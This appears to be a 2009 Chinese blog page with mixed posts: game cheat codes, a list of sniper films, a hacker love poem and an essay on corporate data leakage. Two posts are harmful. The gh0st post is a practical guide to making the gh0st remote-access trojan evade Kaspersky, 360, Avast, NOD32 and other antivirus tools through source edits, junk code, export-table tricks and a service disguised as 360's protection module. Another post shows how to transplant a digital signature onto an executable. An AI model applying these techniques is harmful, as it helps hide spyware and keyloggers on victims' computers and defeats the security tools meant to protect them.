  秘籍 作用
  Cheat.GiveKnife 刀
  Cheat.GiveMachete 大砍刀
  Cheat.GiveColt 手枪
  Cheat.GiveColtAmmo **手枪
  Cheat.GiveDesertEagle 沙漠之鹰
  Cheat.GiveDesertEagleAmmo **沙漠之鹰
  Cheat.GiveSnWmod39 SnWmod39
  Cheat.GiveSnWmod39Ammo **SnWmod39
  Cheat.GiveSpas SPAS
  Cheat.GiveSpasAmmo **SPAS
  Cheat.GiveM16 M16
  Cheat.GiveM16Ammo **M16
  Cheat.GiveAK47 AK47
  Cheat.GiveAK47Ammo **AK47
  Cheat.GiveMP5 MP5
  Cheat.GiveMP5Ammo **MP5
  Cheat.GiveM14 M14
  Cheat.GiveM14Ammo **M14
  Cheat.GiveM16A1 M16A1
  Cheat.GiveM16A1Ammo **M16A1
  Cheat.GiveM60 M60
  Cheat.GiveM60Ammo **M60
  Cheat.GiveM79CAW M79CAW
  Cheat.GiveM79CAWAmmo **M79CAW
  Cheat.GivePPSh41 PPSh41
  Cheat.GivePPSh41Ammo **PPSh41
  Cheat.GiveRPK RPK
  Cheat.GiveRPKAmmo **RPK
  Cheat.GiveSniper 狙击枪
  Cheat.GiveSniperAmmo **狙击枪
  Cheat.GiveCrossbow 十字弓
  Cheat.GiveCrossbowAmmo **十字弓
  Cheat.GiveM40Remi700 M40 Remi 700
  Cheat.GiveM40Remi700Ammo **M40 Remi 700
  Cheat.GiveRocketLauncher 火箭发射器
  Cheat.GiveRocketLauncherAmmo **火箭发射器
  Cheat.GiveGrenadeLauncher 榴弹发射器
  Cheat.GiveGrenadeLauncherAmmo **榴弹发射器
  Cheat.GiveRPG7 RPG7
  Cheat.GiveRPG7Ammo **RPG7
  Cheat.GiveGrenade 手榴弹
  Cheat.GiveClaymore 克莱莫
  Cheat.GiveWeaponKnife 刀
  Cheat.GiveWeaponAK74 AK74
  Cheat.GiveAmmoAK74 **AK74
  Cheat.GiveWeaponAK74Granatnik AK74 Granatnik
  Cheat.GiveAmmoAK74Granatnik **AK74 Granatnik
  Cheat.GiveWeaponFamas 珐玛丝
  Cheat.GiveAmmoFamas **FAMAS
  Cheat.GiveWeaponFRF2 FRF2
  Cheat.GiveAmmoFRF2 **FRF2
  Cheat.GiveWeaponHKPSG1 HPKSG1
  Cheat.GiveAmmoHKPSG1 **HPKSG1
  Cheat.GiveWeaponHKUSP HKUSP
  Cheat.GiveAmmoHKUSP **HKUSP
  Cheat.GiveWeaponLRAC89 LRAC89
  Cheat.GiveAmmoLRAC89 **LRAC89
  Cheat.GiveWeaponM1911 M1911
  Cheat.GiveAmmoM1911 **M1911
  Cheat.GiveWeaponMilkorMGL140 Milkor MGL140
  Cheat.GiveAmmoMilkorMGL140 **Milkor MGL140
  Cheat.GiveWeaponMP5sd6 MP5sd6
  Cheat.GiveAmmoMP5sd6 **MP5sd6
  Cheat.GiveWeaponRPG7 RPG7
  Cheat.GiveAmmoRPG7 **RPG7
  Cheat.GiveWeaponSPAS12 SPAS12
  Cheat.GiveAmmoSPAS12 **SPAS12
  Cheat.GiveWeaponBren Bren
  Cheat.GiveAmmoBren **Bren
  Cheat.GiveWeaponLuger Luger
  Cheat.GiveAmmoLuger **Luger
  Cheat.GiveWeaponMauser98K 毛瑟98K
  Cheat.GiveAmmoMauser98K **毛瑟98K
  Cheat.GiveWeaponMauser98KS 毛瑟98KS
  Cheat.GiveAmmoMauser98KS **毛瑟98KS
  Cheat.GiveWeaponSchmeisserMP40 施迈塞尔MP40冲锋枪
  Cheat.GiveAmmoSchmeisserMP40 **施迈塞尔MP40冲锋枪
  Cheat.GiveWeaponSten Sten
  Cheat.GiveAmmoSten **Sten
  Cheat.GiveWeaponTrenchGun 堑壕枪
  Cheat.GiveAmmoTrenchGun **堑壕枪
  Cheat.GiveWeaponPanzerfaust 铁拳
  Cheat.GiveAmmoPanzerfaust **铁拳
  Cheat.GiveGranatStiHgr24 Granat Sti Hgr24
  Cheat.GiveWeaponSnajperka2 Snajperka2
  Cheat.GiveAmmoSnajperka2 **Snajperka2
  Cheat.GiveWeaponSnajperka3 Snajperka3
  Cheat.GiveAmmoSnajperka3 **Snajperka3

分类: 影音娱乐 标签: ,

几个关于狙击手的电影

2009年7月12日 没有评论 400 views

前端时间看了几个关于狙击手的电影,感觉挺有意思,在网上搜了一下,现在比较好的电影有这几个,跟大家分享一下。剧评大部分都来源于网络,也有我自己的看法。慢慢我会补全

1、狙击生死线(Shooter)
  退伍神射狙击手遭人陷害成了替罪羊,被当作刺杀总统的疑犯通缉。他决定重拾狙击枪,开始反击复仇!
  
  2、双狙人1(Sniper)
  老兵贝林格与年轻的情报员米勒前往巴拿马刺杀该国军阀阿尔赫兹,在丛林中远离后方支援,两人各显示其能。
  
  3、双狙人2(Sniper2)
  退伍的海军陆战队军士长贝奇到巴尔干半岛枪杀一名叛军首领,军方派给他充当观测员的却是年轻的军中死刑犯柯尔。两人完成任务后柯尔竟意外遭敌方逮捕。他才发现自己的任务根本是个幌子……
  
  4、双狙人3(Sniper3)
  狙击手比吉特身为美国海军陆战队最具传奇性的狙击手和绝密武器,这次他的枪口却被逼瞄向他的一个朋友……
  
  5、兵临城下(Enemy at the Gates)
  1942年冬,德军进攻斯大林格勒。传奇性的苏军狙击手瓦西里 ·扎伊采夫歼灭无数敌军。德军派出最顶尖的狙击手科宁斯上校,真正的对手来了!
  
  6、杀手悲歌(Shot Through the Heart)
  维拉多和史拉柯是童年好友。波斯尼亚内战爆发时,由于政治理念不同,史拉柯成为塞尔维亚狙击手的射击教练,维拉多则因塞族狙击手屠杀无辜百姓而加入游击队,两人终于无可避免在战场上正面交锋……   
  7、全职杀手
  杀手反町隆史生活在一个只有杀戮和孤独的世界,而刘德华喜欢杀人的刺激并立志成为头号职业杀手。两名杀手究竟谁才能在决斗中幸存?   
  8、最后刺客(Assassins)
  雷夫是江湖上公认的头号杀手,新出道的杀手拜仁对雷夫的地位虎视眈眈。二人同时受聘暗杀电脑黑客伊丽嘉,在行动中雷夫与伊丽嘉产生爱意欲从此退出江湖。但是拜仁已开始追杀行动……   
  9、飞虎雄师
  重案组探员余文乐希望加入飞虎队,受训完毕教官王敏德却踢他出局。一次警匪枪战,匪徒竟然接二连三击中飞虎队的狙击手,余文乐临危受命拿起狙击枪把守最后关口……   
  10、枪手
  新入伍的武警战士郝冰,爱枪如命练枪成痴,达到枪人如一、心到弹中的地步。
  一天战士们接到紧急通知:营救被杀人犯绑架的人质。千钧一发之际郝冰子弹出膛将歹徒击毙,将炸药安全排除。人们欢呼雷动……
  
  11、敢死连之无名高地
  1944年。红军已经推进到苏联国界线。但当地秘密活动着一个德军狙击手,团长和师里最好的狙击手因而牺牲。这次是奥尔嘉·波兹德涅耶娃——全苏联射击比赛女子冠军。敌我双方生死对决,战场是森林中的一个无名高地……   
  12、枪王
  张国荣是实战射击和改枪的高手,三年前在比赛场上在比赛场上与重案组的方中信相遇并认定彼此为对手。三年后在一次案件侦破过程中二人挑战完成当年未分出胜负的比赛……   
  13、华府惊魂23天
  911事件后,美国最轰动的恐怖活动!冷枪防不胜防,首都人人自危!
  2002年10月2日,一声枪响,一名无辜华盛顿市民中枪倒地。
  自那一刻,同样手法的凶案接连发生,受害人包括男女老幼。首府警方全力缉凶,恐怖气氛已经渐渐蔓延至全国……   
  14、狩猎者
  十六岁的山子打小跟着爹打猎,练就了好枪法。
  鬼子扫荡根据地,战斗异常惨烈。山子拾起一杆中正式,一枪就撂倒一个,成了阻挡敌人的最有效办法。鬼子冲上阵地,战士将山子推下山涧。山子从昏迷中醒来,阵地上已经无人生还。从此山子开始了独自的复仇行动……
  
  15、重装悍将
  狙击手飞鹰一号执行多次暗杀行动后为自己的屠杀行为感到忏悔,指挥官察觉后暗中派杀手消灭他,而其女助理侦测员飞鹰二号并不知情,二人被困在摩天大楼里展开了惊心动迫的自救行动。   
  16、一号通缉令
  海军陆战队员邓恩在狙击任务时因拒绝杀害无辜男童,被军事法庭判处死刑。
  被押途中一恐怖组织劫持邓恩,强迫他狙杀贩卖生化武器的商人卡波特。就在瞄准的一瞬间,卡波特身边的第一夫人中枪倒下。邓恩成为了全国皆知的“头号通缉犯”……   
  17、狙击手
  女狙击手阿利娅被派往驻守在距德军不足百米的四营三连,此后她尝到了亲手击毙德军狙击手的欣喜滋味。1944年围歼德军最后一个阵地的战斗中,阿利娅第一个冲进德军阵地,光荣牺牲。为纪念牺牲的女子狙击手们,阿利娅被授予“苏联女英雄”称号。   
  18、第四十一个
  苏联国内战争时期,红军神枪手玛柳特卡接连射杀40个敌人,第41发子弹却落空:投降的是一位年轻英俊的白军中尉。押解途中两人被海浪冲到一处孤岛,日久生情,但在政治立场上又经常争论。一天有船驶经孤岛,中尉迎船奔去,玛柳特卡呼叫无效之下击毙了她的爱人。

19、神枪手

香港飞虎队三代神枪手的纠葛,从被出卖到被救赎,凌靖一直都只活在自己的世界里,只要自己的妻子晶莹才体贴着他。这是三个帅哥的表演。

分类: 影音娱乐 标签:

最简单的方法给文件添加数字签名

2009年7月10日 没有评论 245 views

先用C32打开文件,拖到末尾,然后看看末尾的物理地址是什么,记下来

末尾地址:000B4000

这里我已经准备好了一个数字签名,直接拿来用就可以了,这个数字签名的大小是24C8

用LodePE打开文件,来到“目录”-“安全”,添加RVA和大小就可以了

RVA就是上面记录下来的末尾地址,大小就是数字签名的大小24C8

然后把准备好的数字签名黏贴到末尾就可以了

分类: 技术文章 标签:

关于gh0st的一些东西!

2009年7月10日 没有评论 206 views

gh0st3.6有源码,所以我们可以在源码的基础上做木马的免杀,个人感觉卡巴的免杀最好做。
先抛一砖头,有兴趣的朋友可以接着做,也可以和本人交流。

编译环境一定要配置好:DDK+SDK+VC6,DDK用来编译sys文件的,SDK+VC6是用来编译工程的,具体为什么以及如何配置可以查看网上有关资料,也可以查看DDK和SDK帮助。

首次编译后,先做卡巴的免杀。卡巴杀sys文件和dll,当然也就杀包装它们的install.exe,最后卡巴还杀生成的sever,我这里说杀生成好的server不是和前面的特征码重叠的地方,而是杀配置信息。

sys免杀
sys重新编译后,增加了输入表的函数(原因未知,有兴趣的朋友可以比较1下) ,顺利通过卡巴、金山、小红伞等杀软。

svchost.dll免杀
1、 MultiByteToWideChar 这个函数的调用上,卡巴就怕花,可以在这个函数前面随便加几句无效语句就可以。
2、 字符串调用"gh0st update" ,这个是用于更新用的 ,如果不要在线更新,直接把这个语句所在代码块删除;嘿嘿,其实搜索工程替换这个字符串为其他的字符串就可以了^_^,这个方法同样可以过金山,谁让我们有源码呢。

server免杀
卡巴定位在最后的配置信息,采取跳转显然是不行的,采用加花的办法,在写入AAAAAA配置信息之前,随便写些东西,就可以做server免杀。

修改生成的dll
在源程序里查找%s\\%sEx字符串,这个位置就是生成 6to4的地方了,可以改成你想生成的任何的东西。

纯粹想交流,大家可以在这里跟贴,一起讨论。

macfee杀svchost.dll的输出表(ServiceMain)有改过的朋友嘛?

为了便于路过者互相提高一下,我把3.6源代码附件上来,网上多的是,懒人就免搜了^_^

其实先修改SYS文件.黑防有教程,改完后就过全部杀软了,我指的是SYS文件,DLL和EXE文件把基址改一下,就过N多杀软了.
做了这几步,还有瑞星还查杀DLL文件,把DLL文件的大少优化下,加几个输出表.金山杀EXE文件,把入口点改下就过了.麦咖啡还杀DLL文件的ServiceMain,把ServiceMain移动远点就过了.小红伞`NOD还杀输入表,这2个不会改
ServiceMain 函数不能注解掉,如果注解掉后,你的木马在重启系统之前还能正常运行,一旦作为服务在后台运行,下次重启你的机器就很脆弱了。ServiceMain是svchost.dll的关键函数,这个函数本身对我们的gh0st是没有什么作用的,但是可以为系统的其他服务提供支持。
小红伞变态到杀exe的子系统值,有没有方法?
经测试,定位无误,将子系统外的其它数值全部填0,小红伞照杀,移动pe头也不能免杀!

添加垃圾代码的小方法:
垃圾代码要移动特征码所在的位置,不要跑到堆栈中了,这样的代码没有用。
可以采取添加for循环,做计数,简单统计,采用局部变量,不改变后面的逻辑为宜。

添加输出表的方法:
有杀输出表的,可以在生成的svchost.dll上添加空函数 ,但是每次编译都要修改1次资源 ,其实我们在源码上添加如下语句:
extern "C" __declspec(dllexport) bool JustTempFun();//声明
……
extern "C" __declspec(dllexport) bool JustTempFun() //实现
{
return false;
}
编译后,输出表就被改变了,有的杀软就可做到代码免杀。

gh0st 红狼远控 自定义过360
主要原因还是经过为什么会出现那个什么6xxx的DLL文件.因为红狼的CoolDiyer大大已经说过.
服务端的生成是随机的....但看来是不完全随机.是根据系统和什么垃圾来随机的吧.具体我也不清楚哈.
嗯.OD载入了.我查个字符串给大家看看就明白了.
这里.
[ %s\%sex.dll ] %s就是所谓的随机.
这里我可以准确的告诉大家是6xxxex.dll
6xx其实就是%s变来的.只要修改%s就可以修改生成出来的是什么DLL了.
嘻嘻.我修改成aaex.dll了...

(不过大家注意ex.dll的ex是不要修改的好.因为修改这个会引起不上线.如果想修改后能上线.要连DLL里面的ex.dll也修改的.这里就不演示了)

360看看.
发现了.看.. 6to4ex.dll 对比一下
%sex.dll
就是 %s 变成了 6to4 而已.

gh0st自定义过360改源码的方法:
install.cpp
文件里面

wsprintf(strModulePath, "%s\\%sex.dll", strSysDir, lpServiceName);
这里
wsprintf(strModulePath, "%s\\%whm.clc", strSysDir, lpServiceName);
就行了

这个其实是作者的一个失误
本意是 随机选择服务安装
但是这段函数其实并没有真正随机
至使每次都从6to4这个服务开始

一个简单的解决办法就是 for循环里处理下
添加一行代码
.....
for(ptr = strSubKey; *ptr; ptr = strchr(ptr, 0)+1)
{

if (lstrcmp(ptr,"6to4")==NULL) continue; //添加此行代码
//MessageBox(0,ptr,"调试中 看看这是什么",0);
//////////////////////////////////////////////////////////////////////////
char temp[500];
.....
这样就跳过这个服务了 :)

还有更简单的 下面这行代码 就是个字符串相加 ex.dll 可以随便改

wsprintf(strModulePath, "%s\\%sex.dll", strSysDir, ptr);

例如这样改
wsprintf(strModulePath, "%s\\%skill360.dll", strSysDir, ptr);

或者这样改 .. 后缀是什么其实也不重要
wsprintf(strModulePath, "%s\\%skill360.abc", strSysDir, ptr);
%s\\%sex.dll  第一个%s表示路径,第二个%s表示随机文件名,你就把第二个%s直接改为别人字母就行了,改后可以过了360和金山清理的查杀
经测试Gh0st的SYS文件,是通用的2.5-3.5都可以用~

服务名称写 360tray.exe
最后描述信息填:360安全卫士实时保护模块。
360是行为查杀。

GH0ST 源码里怎么加花?
_asm
{
你的花指令
你的花指令
你的花指令
你的花指令
}

ServiceMain 函数 特敏感. 注解掉后,NOD32 瑞星 麦咖啡 都过了.

gh0st0免杀过Avast最新修改
杀软更新真的好快,前2天还不杀呢,刚刚更新了avast杀软再查杀1下,竟然杀install.exe和svchost.dll(也就是杀生成的文件和其中的资源文件),接着做它的源码免杀。
解决方案:
1、svchost.dll的特征码定位在键盘记录KeyboardManager.cpp文件中的SaveInfo(char *lpBuffer)函数。特征字符串%02d/%02d/%02d,也就是我们看到键盘记录的日期,修改之,修改的方法很多,将其改为[%d/%d/%d %d:%d:%d] ,编译即可通过avast杀软。
2、install的特征码定位在“SYSTEM\CurrentControlSet\Services\%s”,对应文件是install.cpp里的InstallService函数,修改大小写,编译即可通过免杀。

没有办法上传附件,对应的代码看看吧,这2处特征码修改编译2进制文件也很简单。

nod32一般查杀函数导出表(不知道是不是这样称呼的,就是用UE打开,可以看到一堆函数的地方),定位被查杀的函数名称,一般会有两个或多个,用loadlibrary装载函数所在的dll文件,然后将函数改个名称再调用,你会改函数名,剩下的应该不难!
最后生成的文件不加壳能过NOD

卡巴有个特点,它的特征码都是以代码为主,所以我们在改特征码时不一定要去改原来的特征码,也可以去修改特征以上的的代码,只要稍微调换一下,就可以起如同加花指令的效果。

分类: 技术文章 标签:

只有女黑客才能够看得懂的情书

2009年7月10日 1 条评论 378 views

只有女黑客才能够看得懂的情书

黑客技术学的再好, 却无法入侵你的心,

服务器入侵的再多,对你只有GUEST权限,

你总有防火墙 我始终停不掉

想提权 无奈JSP+MYSQL成为我们的障碍

找不到你的注入点 扫不到你的空口令

所有对我的回应都用3DES加密

你总是自定文件格式 我永远找不到你的入口点

忽略所有异常 却还是跟踪不到你的注册码

虽然我们是不同的对象,都有隐私的一面,

但我相信总有一天我会找到你的接口,把我的最真给你看!

因为我是你的指针,在茫茫内存的堆栈中, 永远指向你那片天空,不孜不倦!

我愿做你的内联,供你无限次的调用,直到海枯石烂!

我愿做你的引用,和你同进退共生死,一起经受考验!

只是我不愿苦苦地调试你的心情,最终沦为你的友元!

如今我们已被MFC封装--事事变迁!

如今我们已向COM走去--可想当年!

没任何奢求,只愿做你最后的Administrator!

分类: 影音娱乐 标签: ,

内网信息泄漏面面观

2009年7月10日 没有评论 99 views

随着我们信息化水平的不断提高,业务应用的不断增多,由此产生了大量的业务数据,而这些业务数据在很大程度上具有很强的机密性,需要得到重要保护。但值得一提的是,计算机网络给我们带便利的同时,也给我们带来无限的困扰:信息盗窃、信息丢失、数据交叉感染、主动泄密时刻存在我们的周围,威胁着我们的安全。

1)出于业务需要,我们往往需要带着笔记本电脑/移动存储介质出差,但常常会遇到笔记本电脑/存储介质丢失等情况,造成敏感信息的丢失,给公司或单位带来巨大损失;

2)我们在做保密检查时,常常会发现被检查机器上存在不该有的机密文档,我们不知道这些数据他们是怎么获得的,又是通过什么渠道什么方式得到的;

3)在实际工作中,我们时常会碰到,某某员工在离职或和公司发生劳动纠纷后,将公司重要的机密文件带走,泄漏给的竞争对手,主动泄密相比于信息盗窃,更加防不胜防。

据联邦贸易委员会的一份报告显示, 在2005年,由于身份失窃所提交的报告占所有投诉报告总数的1/3左右,达25.5万份之多,高居去年联邦贸易委员会接到的诈骗投诉之首,而其中大部分失窃的身份信息是由于笔记本电脑的丢失引起的。

销售电脑保险的公司 Safeware Insurance公司 指出,2003年全美发生的笔记本电脑遗失案件高达60万起,而根据寻回电脑工具供应商 Absolute Software 提供的信息,这个数字去年更攀升至75万。

根据美国联邦贸易委员会(FTC)最近发表的调查报告显示,去年ID theft的受害人数达1000万人,占美国人口的4.6%。在损失额方面,消费者为50亿美元,企业及金融机构的损失额超过480亿美元。

据美国联邦调查局CSI/FBI2006年发布的《计算机犯罪与安全调查报告》,信息失窃事件已经越居第三,笔记本电脑丢失排名第六,其中还不包括排名第一的计算机病毒所携带的信息盗窃行为,现如今熊猫烧香病毒和灰鸽子等形成的地下产业链足以让我们触目惊心,信息保密战形势相当严峻。

经过分析,我们认为当前造成信息失窃的主要原因来自以下四个方面:信息盗窃(偷走)、信息丢失(丢失)、主动泄密(带走)、交叉感染(粗心)。

信息盗窃

信息盗窃与个人信息泄漏不同,它专指通过非法手段获取信息并进行恶意利用的犯罪行为,也是我们目前遇到最多也是最难对付的一种信息失窃行为,是造成我们内网信息安全这么严重最为突出的因素。信息盗窃动机主要来自:获取机密或敏感数据的访问权、窃取钱物或服务,主要表现形式:

1、 通过已构建好的网络途径发动入侵,渗透对方主机,盗取他人数据;

2、 通过监视网络传输内容,盗窃传输数据;

3、 通过在对方主机上植入木马或后门程序,截取对方屏幕、复制文件内容、盗窃敏感数据;

4、 当移动存储设备插入被控制的主机上,窃走里面存储的数据;

5、 趁他人不注意,将他人机器上或移动存储介质上的数据偷偷拷下;

6、 不排除直接盗取存有数据的存储设备,如笔记本电脑、主机硬盘、移动存储介质、光盘。

信息丢失

由于存储设备、介质丢失而引起信息丢失,造成信息泄漏,特别是在计算机日益普及的今天,这些现象越发突出,这种事件的发生存在许多不可预知性,即使我们的安全管理再完善、个人安全意识再高,他在特定的情况下同样失效。主要表现形式:

1、在家中、火车、汽车、机场、宾馆、公共场所、会场发生财产盗窃,导致笔记本丢失/移动存储设备丢失,造成信息丢失,形成泄密事件。

2、由于工作人员的疏忽大意,忘记将存储有重要信息的笔记本电脑/存储介质/文件携带或删除,造成他人能够获得该重要文件,导致信息丢失,如将笔记本电脑丢在宾馆里、将文件留在他人机器上,忘记删除销毁等。

主动泄密

主动泄密是指工作人员故意泄漏数据,属于主动泄密。相比于信息盗窃,主动泄密更加防不胜防。为“防止网络泄密”,自2001年以来,国家已针对计算机技术、网络技术和网上综合信息传输技术发展的新特点,加大了保密技术的防范、检查和管理等基础知识培训,但目前还没有行之有效的主动泄密解决方案。

造成主动泄密的主要原因来自:

1、内部员工离职或与公司发生劳动纠纷而将重要文件带走

2、利益驱使内部员工将公司重要的商业机密透入给竞争对手

3、 企业信息管理不善,导致内部员工能够接触到企业敏感的业务数据或敏感信息,没有做分级分权细化处理

4、目前还没有有效的技术手段来防范企业内部员工的主动信息泄密行为

5、相关信息保密制度和惩罚措施滞后,责任不到位、法制观念淡薄、员工考核机制落后、缺乏流程化管理是造成员工会主动泄密的客观因素。

6、其他因素

主要表现形式:

1、由于各种原因,信息保管员通过各种渠道(设备、接口、网络、打印)将敏感数据泄漏出去,给公司带来重大损失。这种类型的信息泄密对于我们目前来说是很难防范的,因为信息保管员有权限直接接触这些机密的数据,我们唯一要做的是怎么来分散他的操作权限和定位他的保密责任;

2、 内部办公人员通过非法渠道从他人获得保密数据,并将它泄漏出去。这种主动泄漏才是我们工作的重点,也是我们需要下大力气来解决的,因为他会给我们带来责任定位不清的问题,最终导致怨案错案的发生,导致保密条例无法真正落实。

交叉感染

交叉感染也容易带来信息泄漏,它属于无意识的信息泄密。我们知道,信息在流转过程中,需要经过很多环节,中间会有很多人对他进行操作,当一个文件被创建后,往往会通过网络或是存储设备将数据传递到其他地方,如果保护措施不到位,极易被不该看的人看见,导致信息泄漏。主要表现在:

1、一机多用户引发数据交叉感染,数据都存储在共享的硬盘上,加上操作没有采取强制访问控制措施,其他用户能够接触到保密数据,无法保障各用户文件的安全,给别有用心的用户可乘之机。

2、 移动存储设备引发数据交叉感染,当文件或数据拷贝到移动存储设备上,如笔记本电脑、USB,这些设备在借用、维修、外出办公过程中,极易被他人偷走。

3、剩磁效应引发数据交叉感染,采用特殊的文件恢复工具将删除的文件恢复过来,从而被其他用户获取,导致信息泄漏。

分类: 技术文章 标签: